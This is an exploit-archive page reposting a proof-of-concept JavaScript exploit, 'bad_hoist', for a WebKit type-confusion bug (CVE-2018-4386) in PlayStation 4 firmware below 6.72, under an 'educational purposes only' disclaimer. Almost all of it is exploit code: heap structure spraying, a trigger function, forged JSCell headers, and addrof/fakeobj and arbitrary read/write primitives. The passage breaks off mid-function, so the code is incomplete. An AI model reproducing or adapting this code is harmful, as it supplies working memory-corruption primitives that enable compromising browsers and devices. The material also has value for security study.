Sony playstation 4 (ps4) < 6.72 webkit code execution (poc) Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2019-12-31 |
Type : webapps |
Platform : hardware
This exploit / vulnerability Sony playstation 4 (ps4) < 6.72 webkit code execution (poc) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
/*
bad_hoist
============
Exploit implementation of
[CVE-2018-4386](https://bugs.chromium.org/p/project-zero/issues/detail?id=1665).
Obtains addrof/fakeobj and arbitrary read/write primitives.
Supports PS4 consoles on 6.XX. May also work on older firmware versions,
but I am not sure. Bug was fixed in firmware 7.00.
var g_confuse_obj = null;
var g_arb_master = null;
var g_arb_slave = new Uint8Array(0x2000);
var g_leaker = {};
var g_leaker_addr = null;
var g_structure_spray = [];
var dub = new Int64(0x41414141, 0x41414141).asDouble();
var g_inline_obj = {
a: dub,
b: dub,
};
function spray_structs() {
for (var i = 0; i < STRUCTURE_SPRAY_SIZE; i++) {
var a = new Uint32Array(0x1)
a["p" + i] = 0x1337;
g_structure_spray.push(a); // keep the Structure objects alive.
}
}
function trigger() {
var o = {
'a': 1
};
var test = new ArrayBuffer(0x100000);
g_confuse_obj = {};
var cell = {
js_cell_header: new Int64([
0x00, 0x8, 0x00, 0x00, // m_structureID, current guess
0x0, // m_indexingType
0x27, // m_type, Float64Array
0x18, // m_flags, OverridesGetOwnPropertySlot |
// InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
0x1 // m_cellState, NewWhite
]).asJSValue(),
butterfly: false, // Some arbitrary value
vector: g_inline_obj,
len_and_flags: (new Int64('0x0001000100000020')).asJSValue()
};
for (var j = 0x5; j < 0x20; j++) {
g_confuse_obj[j + "a"] = new Uint32Array(test);
}
for (var k in o) {
{
k = {
a: g_confuse_obj,
b: new ArrayBuffer(test.buffer),
c: new ArrayBuffer(test.buffer),
d: new ArrayBuffer(test.buffer),
e: new ArrayBuffer(test.buffer),
1: new ArrayBuffer(test.buffer),
};
function k() {
return k;
}
}
o[k];
if (g_confuse_obj["0a"] instanceof Uint32Array) {
return;
}
}
}
function setup_arb_rw() {
var jsCellHeader = new Int64([
0x00, 0x08, 0x00, 0x00, // m_structureID, current guess
0x0, // m_indexingType
0x27, // m_type, Float64Array
0x18, // m_flags, OverridesGetOwnPropertySlot |
// InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
0x1 // m_cellState, NewWhite
]);
g_fake_container = {
jsCellHeader: jsCellHeader.asJSValue(),
butterfly: false, // Some arbitrary value
vector: g_arb_slave,
lengthAndFlags: (new Int64('0x0001000000000020')).asJSValue()
};
function addrof(obj) {
g_leaker.leak = obj;
return read64(g_leaker_addr);
}
function fakeobj(addr) {
write64(g_leaker_addr, addr);
return g_leaker.leak;
}
function typed_array_buf_addr(typed_array) {
return read64(addrof(typed_array).add(0x10));
}
function cleanup() {
var u32array = new Uint32Array(8);
header = read(addrof(u32array), 0x10);
write(addrof(g_arb_master), header);
write(addrof(g_confuse_obj['0a']), header);
// Set length to 0x10 and flags to 0x1
// Will behave as OversizeTypedArray which can survive gc easily
write32(addrof(g_arb_master).add(0x18), 0x10);
write32(addrof(g_arb_master).add(0x1C), 0x1); //
write32(addrof(g_confuse_obj['0a']).add(0x18), 0x10);
write32(addrof(g_confuse_obj['0a']).add(0x1C), 0x1);
write32(addrof(g_arb_slave).add(0x1C), 0x1);